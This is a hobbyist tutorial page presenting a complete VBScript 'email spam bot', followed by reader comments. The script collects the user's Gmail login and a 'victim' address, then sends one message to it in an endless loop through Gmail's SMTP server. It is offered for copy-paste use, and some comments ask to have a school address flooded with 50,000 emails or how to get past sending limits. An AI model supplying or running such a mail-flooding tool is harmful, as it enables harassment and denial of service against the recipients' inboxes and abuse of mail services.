Email Spam Bot Using VBScript (VBS)

29,363

21

17

About: Twitter: @devicemodder1

hello, i recently got back into VBS programming and wanted to make an email bot. so i did.

here it is
just copy paste into notepad save as anything.vbs, where anything is any name you want.

if you use hotmail just find the lines labelled smtp.gmail.com and change to the one for hotmail or whatever one you use.

Dim User
Dim Pass
Dim Name
Dim Input
Dim Input2
Dim Input3
X=MsgBox("Welcome. To log in Please Click OK and enter your G-mail & pass.",0,"EmailSpamBot V1.0")
User = InputBox("Enter your G-mail:")
Pass = InputBox("Enter Password:"& vbCrLf & ""& vbCrLf & "Please note passwords are NOT stored in this script and are case sensitive.")
Name = InputBox("Enter Name:")
Input = InputBox("Enter e-mail of victim:")
Input2 = InputBox("Enter title:")
Input3 = InputBox("Enter message:")
EmailSubject = (""& Input2)
EmailBody = (""& Input3)

'Const EmailFrom = ""
'Const EmailFromName = ""

Const SMTPServer = "smtp.gmail.com"
'Const SMTPLogon = ""
'Const SMTPPassword = ""
Const SMTPSSL = True
Const SMTPPort = 465

Const cdoSendUsingPickup = 1  'Send message using local SMTP service pickup directory.
Const cdoSendUsingPort = 2  'Send the message using SMTP over TCP/IP networking.

Const cdoAnonymous = 0  ' No authentication
Const cdoBasic = 1  ' BASIC clear text authentication
Const cdoNTLM = 2  ' NTLM, Microsoft proprietary authentication

' First, create the message

Set objMessage = CreateObject("CDO.Message")
objMessage.Subject = EmailSubject
objMessage.From = "<" & User & Name & ">"
objMessage.To = "<" & Input & ">"
objMessage.TextBody = EmailBody

' Second, configure the server

objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2

objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpserver") = SMTPServer

objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = cdoBasic

objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/sendusername") = User

objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/sendpassword") = Pass

objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = SMTPPort

objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = SMTPSSL

objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 60

objMessage.Configuration.Fields.Update

do
objMessage.Send
loop

feel free to leave comments telling me what you think, what to improve ect.

Supplies:

Share

Recommendations

  • IoT Challenge

    IoT Challenge
  • Party Challenge

    Party Challenge
  • Arduino Contest 2019

    Arduino Contest 2019

17 Discussions

0
None
bareketscript

2 years ago

hello,

What if I want to take all the attached files from a specific mail and save it into a folder? can you help me do it please?

Thanks,

Bareket

1 reply
0
None
rkrishnan3

2 years ago

Hi can someone please spam my school email? Thanks send like 50,000 emails. My address is rkrishnan@cfsnc.org ty! I appreciate it!

0
None
BiscuitB

2 years ago

do you have to have premium to download it?

0
None
AlfredM11

2 years ago

Is there any way i can make it to always login to the same email without having me to type it in all the time? And: Can i limit it to a specic amount of emails?

0
None
Blurryface21

3 years ago

Hey xp4xbox, can u send me the code? raxhonPlex@yandex.com

0
None
ba324195

3 years ago

How can you shut this off?

0
None
sander111222

3 years ago

mensen kom op pixelplaneet met leuke pixels en gekke dingen dus kom snel

0
None
dwtyre

3 years ago

I find that it stops sending emails after about 100 are sent. Is there any way around this?

0
None
SamosaS

4 years ago on Introduction

hey there is apparently an error in line 70 saying the message could not be sent to the SMTP server. The server response was not avaible

PLS PLS FIX IT

4 replies
0
None
xp4xboxSamosaS

Reply 3 years ago

You have to make sure that you enable access for less secure accounts in your gmail.

0
None
devicemodderSamosaS

Reply 4 years ago on Introduction

that problem is on google's end or it is your firewall, ports closed ect. i get same error with the code code is correct.

0
None
RayW6devicemodder

Reply 3 years ago

I Have The Same Problem. I Checked My Firewall, It is allowed.

0
None
devicemodderSamosaS

Reply 4 years ago on Introduction

there is no error ,works fine on my machine. havent tested with hotmail yet ,only gmail. works on my end for gmail. sorry for late reply, been busy with the family.

hey how many times will this spam the person

i recon you should add a part where you can choose how many times it spams the person.

1 reply